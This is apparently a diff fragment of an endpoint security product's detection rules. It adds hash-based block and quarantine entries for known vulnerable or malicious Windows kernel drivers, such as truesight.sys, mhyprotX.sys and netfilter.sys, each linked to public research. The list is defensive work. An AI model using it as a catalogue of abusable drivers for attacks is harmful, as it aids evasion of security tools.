+  "creation_date": "2026-03-23T11:45:30.481715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9aeead632435bda4f5723fff5c48dc60451072bfc8649f2ad6e066ca910934a",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54af8a41-e081-5f4e-89fa-d438f89ff61d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142090Z",
+  "creation_date": "2026-03-23T11:45:31.142092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142098Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "185d458f1f9f4777c5fe7c1cc5bbc1a2630fe7251b8b6388525494552fa5e1fa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54b01b32-545c-5583-8b27-33360856a8ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980515Z",
+  "creation_date": "2026-03-23T11:45:29.980517Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980523Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d61963c098b07fa7ee6dba40f476fc5d2f16301d79a3e8554319d66c69404a9",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54b492d3-3e5d-50e9-8fbf-29ea3313846e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807850Z",
+  "creation_date": "2026-03-23T11:45:31.807854Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807863Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "228412527401e09d723d5346b33d856986817a4a10fcf30f84d62824b9689252",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54baf95f-00c3-59cf-b1ef-909dc34d6a57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816999Z",
+  "creation_date": "2026-03-23T11:45:30.817002Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c95ebf3f1a87f67d2861dbd1c85dc26c118610af0c9fbf4180428e653ac3e50",
+  "comment": "Vulnerable Kernel Driver (aka SMARTEIO64.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54c7a0f9-b9a3-5728-b609-ae7e8036736c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968385Z",
+  "creation_date": "2026-03-23T11:45:29.968387Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91b0fdd5bfc596b2f7c9db33e822d24f378c706daf6f92682c5fe1043e547f8d",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54d588e1-f047-595b-b63e-ec2d61cd755c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160812Z",
+  "creation_date": "2026-03-23T11:45:31.160815Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160820Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b430c1396d7d6bde1ea75da781c46b7e20ebcb8f8c3056746901cb9682a64ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54d8bf0b-bf17-512f-b48f-b32b2f431ab0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457421Z",
+  "creation_date": "2026-03-23T11:45:30.457424Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457433Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6f7897cd08fe9de5e902bb204ff87215584a008f458357d019a50d6139ca4af",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54df11fe-b1c6-56a2-b50f-ad2baf2adf02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472065Z",
+  "creation_date": "2026-03-23T11:45:30.472069Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "405a99028c99f36ab0f84a1fd810a167b8f0597725e37513d7430617106501f1",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54e1c019-7b80-5cd5-92d1-52172545936d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978101Z",
+  "creation_date": "2026-03-23T11:45:29.978103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978108Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f51bdb0ad924178131c21e39a8ccd191e46b5512b0f2e1cc8486f63e84e5d960",
+  "comment": "Vulnerable Kernel Driver (aka BlackBoneDrv10.sys) [https://www.loldrivers.io/drivers/722772ee-a461-48ec-933d-f3df1578963e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54ef37df-7f39-581d-8407-9fa4a5b6fc1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612163Z",
+  "creation_date": "2026-03-23T11:45:29.612165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612171Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ced17d1ee92ae72749afdfe40f5029223d97f0f977e718bd5ab1242d1ff7cb5",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54f47568-6095-56ae-8307-0806875b29b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151388Z",
+  "creation_date": "2026-03-23T11:45:31.151391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151399Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "073c3c6dcdb4534b061a6378d72dfd92ca78584c93cec37df09c1eaac1d57506",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54f6785f-7f93-568d-9df9-e04453eed8e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808396Z",
+  "creation_date": "2026-03-23T11:45:31.808398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808403Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb5f1a8c2dfbd57065f4695958fe22532288ce092a32a867acadd1db3730c49a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54f76205-0ef5-5c5f-b3ff-e961395117a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614283Z",
+  "creation_date": "2026-03-23T11:45:29.614285Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614290Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f39b84cb5132d4facff213c630b05ec97ef9d83b93579530152310d63945762",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5505f3cc-5c92-5aaa-b79e-a7f2753f3c3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483012Z",
+  "creation_date": "2026-03-23T11:45:31.483016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483025Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "032fbb9095a8449395e46ffba821eeebaed55a320785319125abccd9611904c8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55377e42-c20c-5085-8ed0-dfdf378e18ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618356Z",
+  "creation_date": "2026-03-23T11:45:29.618358Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618363Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1fbec90c60ee4daba1b35932db9f3556633b2777b1039163841a91cf997938e",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5539433b-070f-5d36-8dc4-cdbf454284ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828293Z",
+  "creation_date": "2026-03-23T11:45:30.828295Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8cd9ba40871830debe83d134d38cb5a287d59eede0a01eca839f55cf10c558e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "555a0a48-b893-5930-b21a-d41fb24f2639",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477484Z",
+  "creation_date": "2026-03-23T11:45:31.477488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ffd4812b2a3634efb630521b4c94c643d100e929d5c5e163314a18fb9561bd7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5564e6bc-0a83-5089-ba3e-a77e6f605048",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491547Z",
+  "creation_date": "2026-03-23T11:45:31.491550Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491558Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c60b91241bb1de59b66dea8da67e28acda648876e8fcae986943fd063ce0c57b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "556bde27-78ae-5335-a0e0-7816eb7b044f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967548Z",
+  "creation_date": "2026-03-23T11:45:29.967550Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967556Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0afb8b937a5907fbe55a1d1cc7574e9304007ef33fa80ff3896e997a1beaf37",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55791f08-d072-5bbb-825a-89f2f56d19b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621158Z",
+  "creation_date": "2026-03-23T11:45:29.621160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac22a7cce3795e58c974056a86a06444e831d52185f9f37db88c65e14cd5bb75",
+  "comment": "CoreTemp Physmem dangerous drivers (aka ALSYSIO64.sys) [https://www.loldrivers.io/drivers/4d365dd0-34c3-492e-a2bd-c16266796ae5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "557f98c7-d5b1-5880-a8cf-b249060f36ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818119Z",
+  "creation_date": "2026-03-23T11:45:30.818121Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d330ab003206ce5e9828607562790aa8dd0453f6b7452f5c6053e3c6b6761d25",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55974905-e240-5715-be13-75013c1fdd63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158917Z",
+  "creation_date": "2026-03-23T11:45:31.158919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158924Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e4a40946e097a56b9dc105dc39add411e5ebd1a0593ba04fdfeffc07635f1e0",
